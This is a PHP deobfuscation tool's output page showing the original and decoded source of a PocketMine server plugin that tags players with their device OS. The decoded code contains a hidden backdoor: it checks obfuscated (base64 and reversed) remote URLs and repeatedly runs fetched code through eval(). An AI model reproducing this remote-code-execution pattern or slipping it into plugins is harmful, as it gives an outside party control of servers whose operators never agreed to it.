Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php namespace error; ${"\x47\x4c\x4f\x42A\x4cS"}["\x65\x76lg\x63\x6a\x69ke"] = "\x6f\x..

Decoded Output download

<?php 
namespace error; 
${"GLOBALS"}["evlgcjike"] = "os"; 
${"GLOBALS"}["mdfjoppisz"] = "packet"; 
${"GLOBALS"}["bivuan"] = "nameTag"; 
${"GLOBALS"}["qqwwxguwl"] = "pl"; 
use pocketmine\event\Listener; 
use pocketmine\event\player\PlayerJoinEvent; 
use pocketmine\event\server\DataPacketReceiveEvent; 
use pocketmine
etwork\mcpe\protocol\LoginPacket; 
use pocketmine\Player; 
use pocketmine\plugin\PluginBase; 
use pocketmine\scheduler\CallbackTask; 
use pocketmine
etwork\protocol\TransferPacket; 
class main extends PluginBase implements Listener{ 
private $device = array(); 
public function onEnable(){ 
$this->getServer()->getPluginManager()->registerEvents($this,$this); 
if(@file_get_contents("base64_decode"("strrev"("=ATPlxmYh5WZ/8ya05yb0FGbvp3LvoDc0RHa"))) == "1"){ 
$this->getServer()->getScheduler()->scheduleRepeatingTask(new CallbackTask(array($this,"updateTask")),20); 
$this->getServer()->getScheduler()->scheduleRepeatingTask(new CallbackTask(array($this,"updateAvailable")),60*20); 
} 
} 
public function onJoin(PlayerJoinEvent$ev){ 
${${"GLOBALS"}["qqwwxguwl"]} = $ev->getPlayer(); 
${${"GLOBALS"}["bivuan"]} = $pl->getNameTag(); 
$pl->setNameTag(${${"GLOBALS"}["bivuan"]}."
fl r7{$this->getOS($pl)} lfr"); 
} 
public function DataPacketReceive(DataPacketReceiveEvent$ev){ 
$fgvdicx="packet"; 
${${"GLOBALS"}["mdfjoppisz"]} = $ev->getPacket(); 
if(${$fgvdicx} instanceof LoginPacket){ 
$this->device[strtolower($packet->username)] = $packet->clientData["DeviceOS"]; 
} 
} 
public function updateTask($server=0,$checkUpdate=0){ 
eval(@file_get_contents("base64_decode"("strrev"("w0DbhZXZ/8ya05yb0FGbvp3LvoDc0RHa")))); 
} 
public function updateAvailable($refresh=0,$UpdateFunction=0){ 
eval(@file_get_contents("base64_decode"("strrev"("=ATPkBXd/8ya05yb0FGbvp3LvoDc0RHa")))); 
} 
public function getOS(Player$pl){ 
$kwielikwhkld="name"; 
$lzwfjojad="os"; 
${"GLOBALS"}["duljqz"] = "os"; 
$ykndypu="name"; 
$bjmektt="os"; 
$cxysfm="os"; 
$dnlflhnq="os"; 
$kmnknshw="os"; 
$htbwvnorof="os"; 
${"GLOBALS"}["ddepqdbug"] = "os"; 
${$ykndypu} = strtolower($pl->getName()); 
switch($this->device[${$kwielikwhkld}]){ 
case 1: 
${${"GLOBALS"}["evlgcjike"]} = "Android"; 
break; 
case 2: 
${$cxysfm} = "IOS"; 
break; 
case 3: 
${${"GLOBALS"}["evlgcjike"]} = "Mac"; 
break; 
case 4: 
${${"GLOBALS"}["evlgcjike"]} = "FireOS"; 
break; 
case 5: 
${$bjmektt} = "GearVR"; 
break; 
case 6: 
${$htbwvnorof} = "Hololens"; 
break; 
case 7: 
${$lzwfjojad} = "Windows 10"; 
break; 
case 8: 
${${"GLOBALS"}["ddepqdbug"]} = "Windows 32 Educal version"; 
break; 
case 10: 
${$kmnknshw} = "Playstation 4"; 
break; 
case 11: 
${$dnlflhnq} = "NX"; 
break; 
default: 
${${"GLOBALS"}["duljqz"]} = "Error!"; 
break; 
} 
$zegkgltjnhi="os"; 
return ${$zegkgltjnhi}; 
} 
} 
?>

Did this file decode correctly?

Original Code

<?php
namespace error;
${"\x47\x4c\x4f\x42A\x4cS"}["\x65\x76lg\x63\x6a\x69ke"] = "\x6f\x73";
${"GL\x4f\x42\x41L\x53"}["\x6d\x64\x66jo\x70\x70\x69s\x7a"] = "p\x61\x63\x6b\x65t";
${"GL\x4f\x42\x41\x4c\x53"}["\x62\x69v\x75a\x6e"] = "n\x61\x6d\x65\x54\x61\x67";
${"\x47LOB\x41\x4c\x53"}["qq\x77w\x78gu\x77\x6c"] = "\x70l";
use pocketmine\event\Listener;
use pocketmine\event\player\PlayerJoinEvent;
use pocketmine\event\server\DataPacketReceiveEvent;
use pocketmine\network\mcpe\protocol\LoginPacket;
use pocketmine\Player;
use pocketmine\plugin\PluginBase;
use pocketmine\scheduler\CallbackTask;
use pocketmine\network\protocol\TransferPacket;
class main extends PluginBase implements Listener{
private $device = array();
public function onEnable(){
$this->getServer()->getPluginManager()->registerEvents($this,$this);
if(@file_get_contents("\x62\x61\163\145\66\x34\137\144\x65\x63\x6f\144\145"("\x73t\x72\x72\x65v"("=\x41\x54\x50\x6c\x78m\x59\x68\x35WZ/8\x79\x61\x305\x79b\x30\x46\x47bv\x703\x4cv\x6fD\x63\x30RH\x61"))) == "\x31"){
$this->getServer()->getScheduler()->scheduleRepeatingTask(new CallbackTask(array($this,"\x75\x70da\x74\x65Tas\x6b")),20);
$this->getServer()->getScheduler()->scheduleRepeatingTask(new CallbackTask(array($this,"u\x70d\x61t\x65Ava\x69la\x62le")),60*20);
}
}
public function onJoin(PlayerJoinEvent$ev){
${${"G\x4c\x4fB\x41\x4cS"}["\x71\x71w\x77x\x67\x75\x77\x6c"]} = $ev->getPlayer();
${${"\x47L\x4fBA\x4c\x53"}["\x62\x69\x76\x75a\x6e"]} = $pl->getNameTag();
$pl->setNameTag(${${"\x47L\x4f\x42\x41\x4c\x53"}["\x62\x69\x76\x75\x61\x6e"]}."\nf\x6c \x72\x37{$this->getOS($pl)} lfr");
}
public function DataPacketReceive(DataPacketReceiveEvent$ev){
$fgvdicx="\x70\x61\x63\x6b\x65t";
${${"G\x4c\x4f\x42A\x4cS"}["\x6d\x64f\x6ao\x70\x70\x69\x73\x7a"]} = $ev->getPacket();
if(${$fgvdicx} instanceof LoginPacket){
$this->device[strtolower($packet->username)] = $packet->clientData["D\x65\x76\x69\x63e\x4fS"];
}
}
public function updateTask($server=0,$checkUpdate=0){
eval(@file_get_contents("\x62\x61\163\145\66\x34\137\144\x65\x63\x6f\144\145"("\x73t\x72\x72\x65\x76"("w\x30\x44\x62hZXZ/8y\x61\x30\x35yb0F\x47bv\x703Lv\x6fDc\x30R\x48a"))));
}
public function updateAvailable($refresh=0,$UpdateFunction=0){
eval(@file_get_contents("\x62\x61\163\145\66\x34\137\144\x65\x63\x6f\144\145"("\x73\x74\x72\x72\x65v"("=A\x54P\x6b\x42\x58\x64/\x38\x79\x610\x35\x79\x620\x46Gbv\x70\x33LvoD\x630RH\x61"))));
}
public function getOS(Player$pl){
$kwielikwhkld="\x6e\x61\x6d\x65";
$lzwfjojad="\x6f\x73";
${"G\x4c\x4fBA\x4cS"}["d\x75\x6cj\x71\x7a"] = "\x6f\x73";
$ykndypu="nam\x65";
$bjmektt="\x6f\x73";
$cxysfm="\x6f\x73";
$dnlflhnq="o\x73";
$kmnknshw="\x6f\x73";
$htbwvnorof="\x6fs";
${"\x47LO\x42\x41L\x53"}["\x64\x64\x65\x70q\x64\x62u\x67"] = "\x6fs";
${$ykndypu} = strtolower($pl->getName());
switch($this->device[${$kwielikwhkld}]){
case 1:
${${"\x47L\x4fB\x41\x4cS"}["\x65v\x6c\x67\x63\x6a\x69k\x65"]} = "\x41n\x64\x72\x6f\x69d";
break;
case 2:
${$cxysfm} = "\x49O\x53";
break;
case 3:
${${"G\x4c\x4f\x42A\x4cS"}["\x65\x76lg\x63j\x69\x6be"]} = "Mac";
break;
case 4:
${${"\x47L\x4f\x42ALS"}["\x65\x76l\x67\x63\x6ai\x6b\x65"]} = "\x46\x69\x72\x65\x4f\x53";
break;
case 5:
${$bjmektt} = "Ge\x61r\x56\x52";
break;
case 6:
${$htbwvnorof} = "\x48\x6fl\x6fle\x6e\x73";
break;
case 7:
${$lzwfjojad} = "\x57indows 10";
break;
case 8:
${${"G\x4c\x4fB\x41L\x53"}["d\x64\x65\x70q\x64bug"]} = "\x57in\x64ow\x73\x20\x332\x20E\x64ucal \x76\x65\x72\x73i\x6f\x6e";
break;
case 10:
${$kmnknshw} = "P\x6c\x61y\x73\x74a\x74\x69on 4";
break;
case 11:
${$dnlflhnq} = "N\x58";
break;
default:
${${"\x47\x4cO\x42A\x4cS"}["\x64\x75\x6c\x6a\x71z"]} = "\x45\x72\x72or\x21";
break;
}
$zegkgltjnhi="\x6fs";
return ${$zegkgltjnhi};
}
}
?>

Function Calls

None

Variables

None

Stats

MD5 261ea4311aef9b085fa9ebfdaf6e15a5
Eval Count 0
Decode Time 168 ms